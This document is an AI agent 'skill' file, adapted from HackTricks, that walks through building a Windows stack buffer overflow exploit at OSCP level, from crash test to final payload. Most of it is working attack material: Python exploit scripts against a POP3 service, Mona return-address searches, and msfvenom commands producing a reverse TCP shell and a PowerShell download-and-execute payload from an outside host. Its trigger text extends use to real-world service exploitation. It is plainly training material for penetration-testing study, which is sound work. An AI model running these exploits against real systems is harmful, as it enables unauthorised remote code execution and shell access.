Hacktricks-skills windows-buffer-overflow-exploit
How to develop and execute Windows buffer overflow exploits at OSCP level. Use this skill whenever the user mentions Windows exploitation, buffer overflow, service exploitation, Immunity Debugger, Mona, shellcode, EIP overwrite, JMP ESP, or any Windows vulnerability research. Trigger for OSCP practice, CTF challenges, or real-world Windows service exploitation scenarios.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl/SKILL.MDWindows Buffer Overflow Exploitation
A complete workflow for developing Windows buffer overflow exploits, from initial crash to working shellcode delivery.
Workflow Overview
- Initial crash - Send oversized buffer to find vulnerability
- Offset calculation - Use pattern to find exact EIP overwrite point
- Bad character analysis - Identify which bytes can't be used in shellcode
- JMP ESP search - Find reliable return address in memory
- Shellcode generation - Create payload avoiding bad characters
- Final exploit - Combine all components for reliable code execution
Step 1: Initial Crash Test
Start by sending a large buffer to crash the service and confirm vulnerability.
#!/usr/bin/env python3 """Basic crash test template""" import socket def test_crash(target_ip, target_port, buffer_size=2700): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = 'A' * buffer_size try: print(f"[*] Connecting to {target_ip}:{target_port}") s.connect((target_ip, target_port)) data = s.recv(1024) # Adjust protocol commands based on service type # For POP3 (SLMail example): s.send(b'USER username\r\n') data = s.recv(1024) s.send(b'PASS ' + buffer.encode() + b'\r\n') print("[*] Buffer sent - check for crash") except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": test_crash('10.11.25.153', 110)
Key points:
- Restart the service after each crash (
)net start <service_name> - Attach Immunity Debugger to the process before sending exploit
- Check if EIP is overwritten (indicates controllable crash)
Step 2: Calculate Exact Offset
Use Metasploit's pattern tools to find the exact offset where EIP is overwritten.
# Generate unique pattern (match buffer size from crash test) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 # After crash, find offset from EIP value /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q <EIP_VALUE>
Verify the offset:
# If offset is 2606, test with: buffer = 'A' * 2606 + 'BBBB' + 'CCCC'
In Immunity Debugger, EIP should show
0x42424242 (BBBB in hex).
Step 3: Check Shellcode Space
Determine how much space is available for shellcode on the stack.
# Test with padding after EIP overwrite buffer = 'A' * 2606 + 'BBBB' + 'C' * 600
In Immunity Debugger:
- Check EBP register value after crash
- Calculate space:
EBP_address - shellcode_start_address - Typical useful space: 400-600 bytes
Step 4: Identify Bad Characters
Bad characters are bytes that get filtered or cause issues during transmission.
badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer = 'A' * 2606 + 'BBBB' + badchars
Common bad characters:
- null terminator (almost always bad)\x00
- line feed (LF)\x0a
- carriage return (CR)\x0d
- space (sometimes)\x20
Compare memory dump in Immunity Debugger to identify which bytes are missing.
Step 5: Find JMP ESP Address
Use Mona to find a reliable return address that jumps to ESP.
# List modules and find suitable DLL !mona modules # Look for DLLs with: # - Rebase: False # - SafeSEH: False # - ASLR: False # - NXCompat: False # - OS Dll: True (preferred for stability) # Search for JMP ESP (\xff\xe4) in target DLL !mona find -s "\xff\xe4" -m <dll_name> # Choose address without bad characters # Example: 0x5f4a358f -> \x8f\x35\x4a\x5f (little endian)
Step 6: Generate Shellcode
Use msfvenom to create shellcode avoiding bad characters.
# Reverse TCP shell msfvenom -p windows/shell_reverse_tcp \ LHOST=<attacker_ip> LPORT=<port> \ -f python -b '\x00\x0a\x0d' \ EXITFUNC=thread -e x86/shikata_ga_nai # Execute command msfvenom -p windows/exec \ CMD="<command>" \ -f python -b '\x00\x0a\x0d' # PowerShell download (for Nishang, Empire, etc.) msfvenom -a x86 --platform Windows \ -p windows/exec \ CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('http://<ip>/payload.ps1')\"" \ -f python -b '\x00\x0a\x0d'
Important: Add NOP sled (
\x90 bytes) before shellcode for reliability.
Step 7: Final Exploit Assembly
Combine all components into working exploit.
#!/usr/bin/env python3 """Final Windows buffer overflow exploit""" import socket def exploit(target_ip, target_port, offset, return_addr, shellcode, nop_size=8): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Buffer structure: [padding][return_addr][nop_sled][shellcode] buffer = ('A' * offset) + return_addr + (b"\x90" * nop_size) + shellcode try: print(f"[*] Exploiting {target_ip}:{target_port}") s.connect((target_ip, target_port)) data = s.recv(1024) # Protocol-specific commands (adjust for target service) s.send(b'USER username\r\n') data = s.recv(1024) s.send(b'PASS ' + buffer + b'\r\n') print("[*] Exploit sent - check for shell") except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": # Configuration TARGET_IP = "10.11.25.153" TARGET_PORT = 110 OFFSET = 2606 RETURN_ADDR = b"\x8f\x35\x4a\x5f" # JMP ESP (little endian) # Shellcode from msfvenom (example placeholder) SHELLCODE = b"\x90" * 100 # Replace with actual shellcode exploit(TARGET_IP, TARGET_PORT, OFFSET, RETURN_ADDR, SHELLCODE)
Debugging Checklist
When exploit doesn't work:
- Verify offset - EIP should be exactly overwritten
- Check bad characters - Ensure return address doesn't contain them
- Shellcode integrity - Compare generated vs. memory dump
- NOP sled size - Increase if needed (try 16-32 bytes)
- Service restart - Always restart between attempts
- Try different shellcode - Regenerate with different encoder
Immunity Debugger Setup
Options >> Appearance >> Fonts - Font: Consolas - Style: Bold - Size: 9
Attach to process:
- File >> Attach
- Select target process
- Press START button
Common Service Protocols
Adjust exploit commands based on target service:
| Service | Port | Command Format |
|---|---|---|
| POP3 | 110 | USER\r\n, PASS\r\n |
| FTP | 21 | USER\r\n, PASS\r\n |
| SMTP | 25 | MAIL FROM:\r\n |
| HTTP | 80 | POST /path HTTP/1.1\r\n |
Safety Notes
- Only test on systems you own or have explicit permission to test
- Buffer overflows can cause system instability
- Always have backups before testing on production systems
- Document all findings for responsible disclosure